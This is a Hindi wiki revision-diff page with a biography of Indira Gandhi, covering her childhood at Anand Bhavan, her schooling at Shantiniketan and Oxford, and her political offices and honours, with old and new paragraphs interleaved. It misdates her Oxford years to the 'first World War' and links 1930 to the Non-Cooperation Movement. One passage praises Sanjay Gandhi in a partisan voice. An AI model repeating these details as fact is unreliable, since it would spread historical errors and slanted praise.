Difference between revisions of "इंदिरा गाँधी"

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|विद्यालय=[[विश्वभारती विश्वविद्यालय|विश्वभारती विश्वविद्यालय बंगाल]], इंग्लैंड की ऑक्सफ़ोर्ड यूनिवर्सिटी, शांति निकेतन
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|अन्य जानकारी=इंदिरा गाँधी अपनी प्रतिभा और राजनीतिक दृढ़ता के लिए 'विश्व राजनीति' के इतिहास में जानी जाती हैं और इंदिरा गाँधी को 'लौह-महिला' के नाम से संबोधित किया जाता है। ये भारत की प्रथम महिला प्रधानमंत्री थीं।
 
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'''इंदिरा प्रियदर्शनी गाँधी''' (जन्म- [[19 नवम्बर]], [[1917]] [[इलाहाबाद]] - मृत्यु- [[31 अक्टूबर]], [[1984]] [[दिल्ली]]) न केवल [[भारत|भारतीय]] राजनीति पर छाई रहीं बल्कि विश्व राजनीति के क्षितिज पर भी वे एक प्रभाव छोड़ गईं। श्रीमती इंदिरा गाँधी का जन्म नेहरु ख़ानदान में हुआ था। इंदिरा गाँधी, भारत के प्रथम [[प्रधानमंत्री]] पंडित जवाहरलाल नेहरु की इकलौती पुत्री थीं। आज इंदिरा गाँधी को सिर्फ़ इस कारण नहीं जाना जाता कि वह पंडित जवाहरलाल नेहरु की बेटी थीं बल्कि इंदिरा गाँधी अपनी प्रतिभा और राजनीतिक दृढ़ता के लिए 'विश्वराजनीति' के इतिहास में जानी जाती हैं और इंदिरा गाँधी को 'लौह-महिला' के नाम से संबोधित किया जाता है। ये भारत की प्रथम महिला प्रधानमंत्री थीं।
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'''इंदिरा प्रियदर्शनी गाँधी''' ([[अंग्रेज़ी]]:''Indira Gandhi'', जन्म- [[19 नवम्बर]], [[1917]], [[इलाहाबाद]]; मृत्यु- [[31 अक्टूबर]], [[1984]], [[दिल्ली]]) न केवल भारतीय राजनीति पर छाई रहीं बल्कि विश्व राजनीति के क्षितिज पर भी वे एक प्रभाव छोड़ गईं। श्रीमती इंदिरा गाँधी का जन्म नेहरू ख़ानदान में हुआ था। इंदिरा गाँधी, [[भारत]] के प्रथम [[प्रधानमंत्री]] [[जवाहरलाल नेहरू|पंडित जवाहरलाल नेहरू]] की इकलौती पुत्री थीं। आज इंदिरा गाँधी को सिर्फ़ इस कारण नहीं जाना जाता कि वह पंडित जवाहरलाल नेहरू की बेटी थीं बल्कि इंदिरा गाँधी अपनी प्रतिभा और राजनीतिक दृढ़ता के लिए 'विश्वराजनीति' के इतिहास में जानी जाती हैं और इंदिरा गाँधी को 'लौह-महिला' के नाम से संबोधित किया जाता है। ये भारत की प्रथम महिला प्रधानमंत्री थीं।
  
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{{seealso|इंदिरा गाँधी का जीवन परिचय|इंदिरा गाँधी का प्रधानमंत्रित्व काल|इंदिरा गाँधी का विद्यार्थी जीवन|इंदिरा गाँधी का राजनीतिक जीवन}}
 
==जीवन परिचय==
 
==जीवन परिचय==
इनका जन्म 19 नवम्बर, 1917 को [[इलाहाबाद]], [[उत्तर प्रदेश]] के [[आनंद भवन]] में एक सम्पन्न परिवार में हुआ था। इनका पूरा नाम है- 'इंदिरा प्रियदर्शनी गाँधी'। इनके पिता का नाम जवाहरलाल नेहरु और दादा का नाम मोतीलाल नेहरु था। पिता एवं दादा दोनों वकालत के पेशे से संबंधित थे और देश की स्वाधीनता में इनका प्रबल योगदान था। इनकी माता का नाम कमला नेहरु था जो दिल्ली के प्रतिष्ठित कौल परिवार की पुत्री थीं। '''इंदिराजी का जन्म ऐसे परिवार में हुआ था जो आर्थिक एवं बौद्धिक दोनों दृष्टि से काफ़ी संपन्न था।''' अत:  इन्हें आनंद भवन के रूप में महलनुमा आवास प्राप्त हुआ। इंदिरा जी का नाम इनके दादा पंडित मोतीलाल नेहरु ने रखा था। यह संस्कृतनिष्ठ शब्द है जिसका आशय है कांति, लक्ष्मी, एवं शोभा। इनके दादाजी को लगता था कि पौत्री के रूप में उन्हें मां लक्ष्मी और दुर्गा की प्राप्ति हुई है। पंडित नेहरु ने अत्यंत प्रिय देखने के कारण अपनी पुत्री को प्रियदर्शिनी के नाम से संबोधित किया जाता था। चूंकि जवाहरलाल नेहरु और कमला नेहरु स्वयं बेहद सुंदर तथा आकर्षक व्यक्तित्व के मालिक थे, इस कारण सुंदरता के मामले में यह गुणसूत्र उन्हें अपने माता-पिता से प्राप्त हुए थे। इन्हें एक घरेलू नाम भी मिला जो इंदिरा का संक्षिप्त रूप 'इंदु' था।
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इंदिरा जी का जन्म 19 नवम्बर, 1917 को [[इलाहाबाद]], [[उत्तर प्रदेश]] के [[आनंद भवन]] में एक सम्पन्न [[परिवार]] में हुआ था। इनका पूरा नाम है- 'इंदिरा प्रियदर्शनी गाँधी'। इनके पिता का नाम जवाहरलाल नेहरू और दादा का नाम [[मोतीलाल नेहरू]] था। पिता एवं दादा दोनों वकालत के पेशे से संबंधित थे और देश की स्वाधीनता में इनका प्रबल योगदान था। इनकी माता का नाम [[कमला नेहरू]] था, जो [[दिल्ली]] के प्रतिष्ठित कौल परिवार की पुत्री थीं। इंदिरा जी का जन्म ऐसे परिवार में हुआ था, जो आर्थिक एवं बौद्धिक दोनों दृष्टि से काफ़ी संपन्न था। अत:  इन्हें आनंद भवन के रूप में महलनुमा आवास प्राप्त हुआ। इंदिरा जी का नाम इनके दादा पंडित मोतीलाल नेहरू ने रखा था। यह संस्कृतनिष्ठ शब्द है जिसका आशय है कांति, लक्ष्मी, एवं शोभा। इनके दादाजी को लगता था कि पौत्री के रूप में उन्हें माँ लक्ष्मी और दुर्गा की प्राप्ति हुई है। पंडित नेहरू ने अत्यंत प्रिय देखने के कारण अपनी पुत्री को प्रियदर्शिनी के नाम से संबोधित किया जाता था। चूंकि जवाहरलाल नेहरू और कमला नेहरू स्वयं बेहद सुंदर तथा आकर्षक व्यक्तित्व के मालिक थे, इस कारण सुंदरता के मामले में यह गुणसूत्र उन्हें अपने माता-पिता से प्राप्त हुए थे। इन्हें एक घरेलू नाम भी मिला जो इंदिरा का संक्षिप्त रूप 'इंदु' था।
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==योगदान==
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इंदिरा गांधी ने अपने बचपन से ही [[भारतीय राष्ट्रीय कांग्रेस]] के कार्यों में योगदान आरंभ कर दिया था। आपके पैतृक निवास आनंद भवन का वातावरण राष्ट्रीय जीवन दर्शन और स्वतंत्रता आंदोलन का केंद्रबिंदु था। आपने बचपन में ही बाल चरखा संघ की स्थापना की। 1930 में [[असहयोग आंदोलन]] के दौरान कांग्रेस पार्टी की सहायता करने के लिए बच्चों की एक वानरी सेना बनाई, जो पुलिस तथा अन्यान्य सरकारी गतिविधियों की सूचना कांग्रेस को देती रही। सन्‌ 1942 की [[अगस्त]] की महाक्रांति के आंदोलन में आपने जेलयात्रा की। भारत की आजादी के अवसर पर दिल्ली में जो भीषण '''हिंदू-मुस्लिम-दंगा''' हुआ, उसमें [[गांधी जी]] के निर्देशानुसार आपने सेवा और शांतिस्थापन का काम किया। देश की सामाजिक, साहित्यिक, सांस्कृतिक और समाजसेवी संस्थाओं से भी आपका निकट का संबंध रहा है, जिनमें से कुछ के नाम इस प्रकार है : अध्यक्ष, ट्रस्टीज बोर्ड, (1) कमला नेहरू मेमोरियल अस्पताल और (2) कस्तूरबा गांधी मेमोरियल ट्रस्ट; संस्थापक ट्रस्टी और अध्यक्ष, बाल सहयोग, नई दिल्ली; अध्यक्ष, बाल भवन बोर्ड और बाल राष्ट्रीय संग्रहालय, नई दिल्ली; संस्थापक और अध्यक्ष, कमला नेहरू विद्यालय, इलाहाबाद; उपाध्यक्ष, केंद्रीय समाज कल्याण बोर्ड; आजीवन संरक्षक, भारतीय बाल कल्याण परिषद्; संरक्षक, नागरीप्रचारिणी सभा, [[काशी]]; उपाध्यक्ष, अंतरराष्ट्रीय बाल कल्याण परिषद्; मुख्य संरक्षक, इंडियन कौंसिल फॉर अफ्रीका ([[1960]]); पेट्रन, भारत में विदेशी छात्र संघ; सदस्य, कांग्रेस कार्यकारिणी समिति, केंद्रीय चुनाव समिति और केंद्रीय संसदीय बोर्ड; अध्यक्ष, अखिल भारतीय कोंग्रेस कमेटी की राष्ट्रीय एकता परिषद्; अध्यक्ष, अखिल भारतीय युवक कांग्रेस; अध्यक्ष, भारतीय राष्ट्रीय कांग्रेस (1959-60); सदस्य, दिल्ली विश्वविद्यालय कोर्ट; [[यूनेस्को]] में भारतीय शिष्टमंडल ([[1960]]); यूनेस्को का कार्य कारिणी बोर्ड (1960-64); सदस्य, राष्ट्रीय सुरक्षा परिषद् ([[1962]]); राष्ट्रीय सुरक्षा निधि की कार्यकारिणी समिति (1962); अध्यक्ष, केंद्रीय नागरिक परिषद् ([[1962]]); सदस्य, राष्ट्रीय एकता परिषद्, [[भारत सरकार]]; अध्यक्ष, [[संगीत नाटक अकादमी]] ([[1965]]) से आचार्य, विश्वभारती; चांसलर, [[जवाहरलाल नेहरू विश्वविद्यालय]]; अध्यक्ष, हिमालय पर्वतारोहण संस्था और दक्षिण भारत हिंदी प्रचार सभा; पेट्रन, इंडियन सोसाइटी ऑव इंटरनैशनल ला; अध्यक्ष, नेहरू मेमोरियल संग्रहालय तथा लाइब्रेरी सोसाइटी; ट्रस्टी, गांधी स्मारक निधि; अध्यक्ष, स्वराज्य भवन ट्रस्ट; मदर्स एवार्ड, अमरीका ([[1953]]); कूटनीति के क्षेत्र में महत्वपूर्ण कार्य के लिये इटली का इजावेला द-एस्ते एवार्ड और येल यूविर्सिटी, हालैंड मेमोरियल प्राइज प्राप्त किए।
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==उपाधियाँ==
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[[फ्रांस]] की जनमत संख्या द्वारा लिए गए अभिमत के अनुसार [[1967]] तथा [[1968]] लगातार दो वर्ष के लिए फ्रांसीसियों में सबसे अधिक विख्यात महिला, [[अमरीका]] में एक गेल्लप अभिमत सर्वेक्षण के अनुसार वर्ष [[1971]] में विश्व का सबसे अधिक विख्यात व्यक्तित्व, 1971 में अर्जेंटीना सोसाइटी फार प्रोटेक्शन ऑव ऐनिमल्स द्वारा 1971 में डिप्लोमा ऑव आनर से विभूषित; आंध्र विश्वविद्यालय, आगरा विश्वविद्यालय, विक्रम विश्व विद्यालय, ब्यूनेस आयर्स के एलसैल्वाडोर विश्वविद्यालय, जापान के बासेटा विश्वविद्यालय, मास्को राज्य विश्वविद्यालय और [[ऑक्सफोर्ड|आक्सफोर्ड विश्वविद्यालय]] से मानार्थ डाक्टरेट की उपाधियाँ प्राप्त हुई। सिटीज़न ऑव डिस्टिंक्शन, कोलंबिया विश्वविद्यालय; सदस्य, राज्य सभा (अगस्त [[1964]] से फरवरी, 1967)। [[1971]] में लोकसभा के लिये चुनी गई। सूचना और प्रसारण मंत्री, भारत सरकार, 1964-66; 1966 से भारत की प्रधान मंत्री-[[24 जनवरी]], [[1966]] को प्रथम बार, [[13 मार्च]], [[1967]] को दूसरी बार और [[18 मार्च]], [[1971]] को तीसरी बार शपथ ग्रहण; साथ ही, परमाणु ऊर्जा मंत्री; चेयरमैन, योजना आयोग; अध्यक्ष, वैज्ञानिक तथा औद्योगिक अनुसंधान परिषद् तथा चेयरमैन, हिंदी समिति आदि के रूप में देश की महती सेवा की।
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==मुख्य बातें==
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श्रीमती इंदिरा गांधी के दादा स्वर्गीय [[पं. मोतीलाल नेहरू]] उस असेंबली भवन में उपस्थित थे जिसमें [[भगत सिंह|सरदार भगत सिंह]] और [[बटुकेश्वर दत्त]] ने देश की जनता की आवाज कान में तेल डाले बैठे ब्रिटिश अधिकारियों तक पहुँचाने के लिए बम फेंका था। [[पं. मोतीलाल नेहरू]] ने संभवत: वहीं से यह ठान लिया कि ऐसी निर्दयी और बेईमान सरकार से सहयोग करना महापाप है। सारे परिवार का जीवन देश को, राज्य को समर्पित हो गया। स्वर्गीय पं. मोतीलाल नेहरू, स्वर्गीय [[पं. जवाहरलाल नेहरू]], श्रीमती इंदिरा गांधी और अब हमारे युवा नेता श्री [[संजय गांधी]], सबका जीवन इसका साक्षी है। सारे संसार के लोकतंत्र के इतिहास में ऐसी बेमिसाल कुलपरंपरा देखने में नहीं आती जिसने किसी राष्ट्र के हृदय और मन पर इस गौरव एवं सहजता के साथ शासन किया हो और राष्ट्र ने भी अपनी पूरी हार्दिकता के साथ अपना प्रेम और अपनी श्रद्धा जिसके प्रति उड़ेल दी हो।
  
====माता-पिता का साथ====
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स्वर्गीय [[पं. जवाहरलाल नेहरू]] के प्रधान मंत्रित्वकाल में ही श्रीमती इंदिरा गांधी ने [[यूरोप]], [[एशिया]], [[अफ्रीका]] और [[अमरीका]] के विभिन्न देशों की अनेक यात्राएँ की थीं। इन यात्राओं में उन्हें अंतरराष्ट्रीय राजनीति की बारीकियों को गंभीरता से जानने समझने और उससे परिचित होने का पूरा मौका मिला था। राष्ट्रमंडलीय प्रधानमंत्री सम्मेलन के सिलसिले में [[ब्रिटेन]] की अनेक यात्राएँ, [[सोवियत संघ]] की यात्रा, [[चीन]] की यात्रा, [[पंचशील|पंचशील सिद्धांत]] के जनक बांडुंग संमेलन के लिये इंडोनेशिया की यात्रा आदि इन वैदेशिक यात्राओं में उल्लेखनीय हैं। अपने देश में भी श्रीमती इंदिरा गांधी को [[चीन]] के प्रधानमंत्री '''चाउ एन लाई''', [[रूस]] के प्रधानमंत्री बुल्गानिन और ख्राुश्चेव, अमरीकी राष्ट्रपति की पत्नी जैकलीन केनेडी, यूगोस्लाविया के राष्ट्रपति टीटो आदि विश्वप्रसिद्ध राजनीतिज्ञों का अतिथिसत्कार करने के अवसर मिले थे। इन सारे सुअवसरों ने श्रीमती गांधी को व्यावहारिक राजनीतिज्ञता में उसी समय परिपक्प कर दिया था जब वे नेपथ्य में थीं।
इंदिरा जी को बचपन में माता-पिता का ज़्यादा साथ नसीब नहीं हो पाया। पंडित नेहरु देश की स्वाधीनता को लेकर राजनीतिक क्रियाओं में व्यस्त रहते थे और माता कमला नेहरु का स्वास्थ्य उस समय काफ़ी ख़राब था। '''दादा मोतीलाल नेहरु से इंदिरा जी को काफ़ी स्नेह और प्यार-दुलार प्राप्त हुआ था।''' इंदिरा जी की परवरिश नौकर-चाकरों द्वारा ही संपन्न हुई थी। घर में इंदिरा जी इकलौती पुत्री थीं। इस कारण इन्हें बहन और भाई का भी कोई साथ प्राप्त नहीं हुआ। एकांत समय में वह अपने गुड्डे-गुड़ियों के साथ खेला करती थीं। घर पर शिक्षा का जो प्रबंध था, उसे पर्याप्त नहीं कहा जा सकता था। लेकिन [[अंग्रेज़ी भाषा]] पर उन्होंने अच्छा अधिकार प्राप्त कर लिया था।
 
  
====विद्यार्थी जीवन==== 
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सन्‌ 1956 में इंदिरा जी के सामने [[कांग्रेस]] की अध्यक्षता का प्रस्ताव आया। इससे पहले वे [[कांग्रेस]] की कार्यकारिणी की सदस्य रह चुकी थीं। खूब सोच विचार कर और अपनी शक्ति को तौल परखकर उन्होंने अध्यक्ष पद स्वीकार कर लिया। प्रगतिशील कांग्रेस अध्यक्ष के रूप में इंदिरा जी अत्यंत सफल सिद्ध हुई। कांग्रेसी मठाधीशों के स्थान पर योग्य युवकों को, जब भी अवसर मिलता, लाने में वे कभी हिचके नहीं। उनकी कार्यशक्ति, सामर्थ्य, ओज और निष्ठा देखकर उनके पिता जी को भी कहना पड़ा था---इंदिरा पहले मेरी मित्र और सलाहकार थी, बाद में मेरी साथी बनी और अब तो वह मेरी नेता भी है।
इंदिरा जी को जन्म के कुछ वर्षों बाद भी शिक्षा का अनुकूल माहौल नहीं उपलब्ध हो पाया था। पाँच वर्ष की अवस्था हो जाने तक बालिका इंदिरा ने विद्यालय का मुख नहीं देखा था। पिता जवाहरलाल नेहरु देश की आज़ादी के आंदोलन में व्यस्त थे और माता कमला नेहरु उस समय बीमार रहती थीं। घर का वातावरण भी पढ़ाई के अनुकूल नहीं था। [[भारतीय राष्ट्रीय कांग्रेस|कांग्रेस]] के कार्यकर्ताओं का रात-दिन आनंद भवन में आना जाना लगा रहता था। तथापि पंडित नेहरु ने पुत्री की शिक्षा के लिए घर पर ही शिक्षकों का इंतज़ाम कर दिया था। बालिका इंदु को आनंद भवन में ही शिक्षकों द्वारा पढ़ाया जाता था।
 
[[चित्र:Jawahar-Lal-Nehru-Family-2.jpg|thumb|left|[[जवाहरलाल नेहरू]] अपनी पत्नी [[कमला नेहरू]] और बेटी इंदिरा गाँधी के साथ]]
 
पंडित जवाहरलाल नेहरु शिक्षा का महत्त्व काफ़ी अच्छी तरह समझते थे। यही कारण है कि उन्होंने पुत्री इंदिरा की प्राथमिक शिक्षा का प्रबंध घर पर ही कर दिया था। लेकिन अंग्रेज़ी के अतिरिक्त अन्य विषयों में बालिका इंदिरा कोई विशेष दक्षता नहीं प्राप्त कर सकी। तब इंदिरा को शांति निकेतन स्कूल में पढ़ने का अवसर प्राप्त हुआ उसके बाद उन्होंने [[बैडमिंटन]] स्कूल तथा ऑक्सफोर्ड यूनिवर्सिटी में अध्ययन किया। लेकिन इंदिरा ने पढ़ाई में कोई विशेष प्रवीणता नहीं दिखाई। '''वह औसत दर्जे की छात्रा रहीं।'''
 
 
 
पंडित नेहरु अंग्रेज़ी भाषा के इतने अच्छे ज्ञाता थे कि लॉर्ड माउंटबेलन की अंग्रेज़ी भी उनके सामने फीकी लगती थी। इस प्रकार पिता द्वारा अंग्रेज़ी में लिखे गए पत्रों के कारण पुत्री इंदिरा की अंग्रेज़ी भाषा काफ़ी समृद्ध हो गई थी। इंदिरा का प्राथमिक बचपन एकाकी था। अंत: यह स्वीकार करना होगा कि बेहद संपन और शिक्षित परिवार में जन्म लेने के बावज़ूद इंदिरा को माता-पिता का स्वभाविक प्रेम और संरक्षण नहीं प्राप्त हो सका जो साधारण परिवार के बच्चों को सामान्य प्राप्त होता है। यही कारण है कि इंदिरा ने बचपन में अंग्रेज़ी साहित्य की उत्कृष्ट पुस्तकों का भी अध्ययन किया उन पुस्तकों से उन्हें जीवन की गहराई और यथार्थ का बोध हुआ। स्वतंत्रता संग्राम में भाग लेने के कारण पंडित नेहरु को अकसर अंग्रेज़ों द्वारा जेल की सज़ाएँ प्रदान की जाती थीं। तब वह अपनी पुत्री इंदिरा को काफ़ी लंबे-लंबे पत्र लिखते थे। उन पत्रों का महत्त्व इस बात से भी समझा जा सकता है कि बाद में इन्हें ''''पिता के पत्र पुत्री के नाम' पुस्तक के रूप में [[हिन्दी भाषा|हिन्दी]] तथा अंग्रेज़ी दोनों भाषाओं में प्रकाशित किया गया।'''
 
 
 
====बोर्डिंग स्कूल====
 
नेहरु परिवार स्वाधीनता संग्राम में जुटा हुआ था, इस प्रकार इंदु की पढ़ाई उस प्रकार आरंभ नहीं हो सकी जिस प्रकार एक साधारण परिवार में होती है शिक्षा का प्रबंध घर  पर ही किया गया था। 1931 में इनके दादा पंडित मोतीलाल नेहरु की मृत्यु हो जाने के बाद यह आवश्यक समझा गया कि इंदिरा को किसी विद्यालय में दाखिल कराना चाहिए। इस समय इंदु की उम्र 14 वर्ष हो चुकी थी। अब तक इंदु को घर पर ही अध्ययन का अवसर प्राप्त हुआ था और पंडित नेहरु उससे संतुष्ट नहीं थे। वह यह भी समझ रहे थे कि इलाहाबाद में रहते हुए उनकी पुत्री की पढ़ाई हो पाना संभव नहीं है। अत: उन्होंने इंदु को बोर्डिंग स्कूल में डालने का फैसला कर लिया।
 
[[चित्र:Indira-Gandhi-3.jpg|thumb|left|इंदिरा गाँधी की प्रतिमा <br /> Statue Of Indira Gandhi]]
 
====अभिव्यक्ति की कला====
 
इनके बाद इंदिरा को पूना के 'पीपुल्स ऑन स्कूल' में दाखिला दिलवा दिया गया। उन्हें कक्षा सात में प्रवेश मिला था। इनकी सहपाठियों की उम्र इनसे काफ़ी कम थी। अत:  कक्षा की छात्राओं को लगता था कि एक बड़ी उम्र की छात्रा उनके बीच है। लेकिन उन छात्राओं को यह ज्ञात नहीं था कि उस बालिका ने जीवन की जिस पाठशाला में अब तक अधययन किया है, उसी के कारण उसकी विद्यालयी शिक्षा प्रभावित हुई है। इंदु ने शीघ्र ही अपनी बौद्धिक क्षमता का परिचय दिया और स्कूल में पढ़ाए जा रहे सभी विषयों को आत्मसात करने का प्रयास भी किया। इंदिरा को घर में रहते हुए भी पत्र पत्रिकाएं तथा पुस्तकें पढ़ने का शौक़ था जो यहाँ भी जारी रहा इसका एक फ़ायदा इंदु को यह मिला कि उसका सामान्य ज्ञान पाठ्य पुस्तकों तक सीमित नहीं रहा। उसे देश दुनिया का काफ़ी ज्ञान था और '''वह अभिव्यक्ति की कला में भी निपुण हो गई थी'''। विद्यालय द्वारा आयोजित होने वाली '''वाद विवाद प्रतियोगिता में उसका कोई सानी नहीं था'''।
 
 
 
====शांति निकेतन====
 
1934 में इंदिरा ने 10वीं कक्षा की परीक्षा उत्तीर्ण कर ली अब आगे की पढ़ाई करने के लिए उसे ऐसे विद्यालय में जाना पड़ सकता था जहाँ भारतीय संस्कृति से संबंधित पढ़ाई नहीं होती थी और सभी कॉलेज अंग्रेज़ों द्वारा संचालित होते थे। काफ़ी सोच-विचार के बाद पंडित नेहरु ने निश्चय किया कि वह अपनी बेटी इंदिरा को [[शांति निकेतन]] में पढ़ने के लिए भेजेंगे। गुरुदेव [[रवींद्रनाथ टैगोर]] उन दिनों [[कोलकाता]] से कुछ दूरी पर प्राकृतिक वातावरण में 'शांति निकेतन' नामक एक शिक्षण संस्थान चला रहे थे। शांति निकेतन का संचालन गुरुदेव एवं प्राचीन आश्रम व्यवस्था के अनुकूल था। वहाँ का रहन-सहन एवं सामान्य जीवन सादगी से परिपूर्ण था। इंदिरा का स्वास्थ्य भी इन दिनों बहुत अच्छा नहीं था। अत: पंडित जवाहरलाल नेहरु ने अपनी बेटी का दाखिला शांति निकेतन में करवा दिया। यहाँ इंदु ने स्वयं को पूर्णतया आश्रम की व्यवस्था के अनुसार ढाल लिया।
 
 
 
इंदिरा प्रतिभाशाली थीं। और '''उनका सहज ज्ञान भी अन्य बच्चों से काफ़ी बेहतर था।''' इस कारण वह शीघ्र ही शांति निकेतन में सभी की प्रिय बन गई। शिक्षार्थी भी उनका सम्मान करने लगे। शांति निकेतन में रहते हुए इंदिरा को खादी की साड़ी पहननी पड़ती थी और वर्जित स्थलों पर नंगे पैर ही जाना होता था। शांति निकेतन का अनुशासन काफ़ी कड़ा था। सामान्य: अमीरी में पले बच्चों के लिए वहाँ टिक पाना कठिन था। लेकिन इंदिरा जी ने सख्त अनुशासन तथा अन्य नियमों का पूर्णतया पालन किया यहाँ आने के बाद उनके स्वास्थ्य में भी अपेक्षित सुधार के संकेत दिखने लगे। पंडित जवाहरलाल नेहरु की बेटी इंदिरा जी को गुरुदेव रवींद्रनाथ टैगौर भली-भाँति जानते थे। इसी कारण इंदिरा पर उनको विशेष कृपा दृष्टि रहती थी। गुरुदेव ने शीघ्र ही जान लिया कि इंदिरा नामक यह किशोरी बेहद प्रतिभावान है। यही कारण है कि वह गुरुदेव के प्रिय विद्यार्थियों में से एक बन गई। इंदिरा में अध्ययन से इतर लोक कला और [[भारत की संस्कृति|भारतीय संस्कृति]] में भी रुचि जाग्रत की गई। इंदु ने शीघ्र ही मणिपुरी शास्त्रीय नृत्य में दक्षता हासिल कर ली। उसका नृत्य काफ़ी मनमोहक होता था।
 
 
 
शांति निकेतन की एक अतिरिक्त विशेषता यह थी कि वहाँ के सभी अध्यापक अपने विषयों के धुरंधर ज्ञाता थे। यह उनकी विद्वत्ता का ही परिमाण था कि इंदिरा ने ज्ञानार्जन करने में अच्छी गति दिखाई। लेकिन शांति निकेतन में रहते हुए इंदिरा अपनी पढ़ाई पूरी न कर सकीं जबकि वह वहाँ के वातावरण से काफ़ी प्रसन्न थीं। लेकिन इंसान का भाग्य भी काफ़ी प्रबल होता है और उसके आदेशों को स्वीकार करना ही पड़ता है।
 
====ऑक्सफ़ोर्ड यूनिवर्सिटी====
 
पंडित नेहरू अपनी प्रिय बेटी की शिक्षा को लेकर बहुत चिंतित थे। काफ़ी सोचने के पश्चात उन्होंने इंदिरा का दाखिला ऑक्सफ़ोर्ड यूनिवर्सिटी ([[इंग्लैंड]]) में करवा दिया। इंदिरा ने अपना ध्यान पढ़ाई की ओर लगा दिया। लेकिन इंग्लैंड में रहते हुए भी वह वहाँ रह रहे भारतीयों के संपर्क में थीं। उन दिनों इंग्लैंड में 'इंडिया लीग' नामक एक संस्था थी जो भारत की आज़ादी के लिए निरंतर प्रयासरत थी। इंदिरा जी में देशसेवा का प्रस्फुटन बरसों पूर्व ही हो चुका था, इस कारण वह भी इंडिया लीग की सदस्या बन गईं और उनके कार्यकलापों में अपना योगदान देने लगीं। वहाँ इंदिरा जी का परिचय पंडित नेहरू के मित्र कृष्ण मेनन (जो बाद में भारत के रक्षा मंत्री भी बने) के साथ हुआ। कृष्ण मेनन एक विद्वान व्यक्ति थे। उनका संबंध विश्व के अनेक ख्यातनाम व्यक्तियों से था। श्री मेनन के सान्निध्य से इंदिरा जी को यह लाभ हुआ कि वह विश्व के महान राजनीतिज्ञों और उनकी विचारधाराओं को समझने में सक्षम हो गईं लेकिन '''ऑक्सफ़ोर्ड यूनिवर्सिटी से इंदिरा गाँधी को कोई भी उपाधि नहीं प्राप्त हो सकी।''' प्रथम विश्व युद्ध छिड़ चुका था। जर्मनी ने इंग्लैंड के विरुद्ध युद्ध छेड़ दिया था। मित्र देशों की सेनाएँ इंग्लैंड के साथ थीं लेकिन हिटलर का पलड़ा भारी था। ऐसे में इंदिरा का इंग्लैंड में रहना उचित नहीं था। समुद्री मार्ग पर भी ख़तरा था मगर समय पर भारत लौटना ज़रूरी था। अतः 1941 में इंदिरा भारत लौट आईं जबकि समुद्री मार्ग पर काफ़ी ख़तरा बना हुआ था।
 
 
 
==आंदोलन==
 
इंदिरा पर परिवार के वातावरण का काफ़ी प्रभाव पड़ा था। उन दिनों आनंद भवन स्वतंत्रता सेनानियों का [[अखाड़ा]] बना हुआ था। वहाँ देश की आज़ादी को लेकर विभिन्न प्रकार की मंत्रणाएँ की जाती थीं। और आज़ादी के लिए योजनाएँ बनाई जाती थीं ताकि अंग्रेज़ों के विरोध के साथ ही भारतीय जनता को भी संघर्ष के लिए जाग्रत किया जा सके। यह सब बालिका इंदिरा भी देख समझ रही थी। जब देश में विदेशी वस्तुओं के बहिष्कार का आंदोलन चल रहा था और विदेशी वस्तुओं की होलियाँ जलाई जा रहीं थीं तब बालिका इंदिरा भी किसी से पीछे नहीं रही।
 
[[चित्र:Indira-Gandhi-1.jpg|thumb|250px|इंदिरा गाँधी <br /> Indira Gandhi]]
 
====विदेशी वस्तुओं के बहिष्कार का आंदोलन====
 
इंदिरा ने भी अपने तमाम विदेशी कपड़ों को अग्नि दिखा दी और खादी के वस्त्र धारण करने लगी। जब इंदु को टोका गया कि तुम्हारी गुड़ियाँ भी तो विदेशी हैं, तुम उनका क्या करोगी। तब '''इंदु ने बड़े प्यार से सहेजे गए उन खिलौनों को भी अग्नि दिखा दी। बेशक ऐसा करना कठिन था क्योंकि प्रत्येक खिलौने और गुड्डे गुड़िया से इंदिरा का एक भावनात्मक रिश्ता बन गया था जो एकाकी जीवन में उनका एकमात्र सहारा था।''' इंदु अपने परिवार के संघर्ष की भी गवाह बनीं। 1931 में जब इनकी माता कमला नेहरु को गिरफ़्तार कर लिया गया तब यह मात्र 14 वर्ष की बालिका थीं। पिता पहले से ही कारागार में थे। इससे समझा जा सकता है कि इंदु नामक बालिका अपने आपको किस हद तक अकेला महसूस करती रही होगी। बेशक आनंद भवन में नौकरों की कमी नहीं थी लेकिन माता-पिता की मौजूदगी से बच्चों को सुरक्षा की जो ढाल अनायास प्राप्त होती है, उसकी अपेक्षा नौकरों से कदापि नहीं की जा सकती। बच्चे अपनी जिन जिज्ञासाओं को माता-पिता के ज्ञान से अभिज्ञात करते हैं, उसकी पूर्ति नौकर नहीं कर सकते थे।
 
====खादी के वस्त्र====
 
इंदिरा को खानपान की अनियमितता का भी सामना करना पड़ा और उनकी पढ़ाई भी बाधित हुई यह अवश्य है कि दादा पंडित मोतीलाल नेहरु और पोती इंदिरा का काफ़ी वक़्त एक साथ गुजरता था। लेकिन दादा भी अपनी पोती को पर्याप्त समय नहीं दे पाते थे। उन्हें कार्यकर्ताओं के साथ व्यस्त रहना पड़ता था। लेकिन एक समय ऐसा भी आया जब अंग्रेज़ों ने पंडित मोतीलाल नेहरु को भी गिरफ़्तार करके जेल भेज दिया ऐसे में इंदु की मनोदशा की कल्पना सहज ही की जा सकती है। अब अकेली इंदु अपना समय किस प्रकार व्यतीत करती? '''समय बिताने के लिए वह अपने पिता की नकल करने लगी।''' उसने अपने पिता को कार्यकर्ताओं को संबोधित करते हुए सुना था। इस कारण उसने भी हमउम्र बच्चों को एकत्र करके भाषण देने का कार्य आरंभ कर दिया। भाषण देते समय वह मेज पर खड़ी हो जाती थी और मेज द्वारा मंच का कार्य लिया जाता था। इस समय वह खादी के वस्त्र और गाँधी टोपी प्रयोग करती थी। इस प्रकार बचपन में ही संघर्षों की धूप ने इंदिरा गाँधी को यह समझा दिया था कि कोई भी चीज़ आसानी से उपलब्ध नहीं होती। उसकी प्राप्ति के लिए इंसान को दृढ़ प्रतिज्ञ होना चाहिए।
 
====वानर सेना का गठन====
 
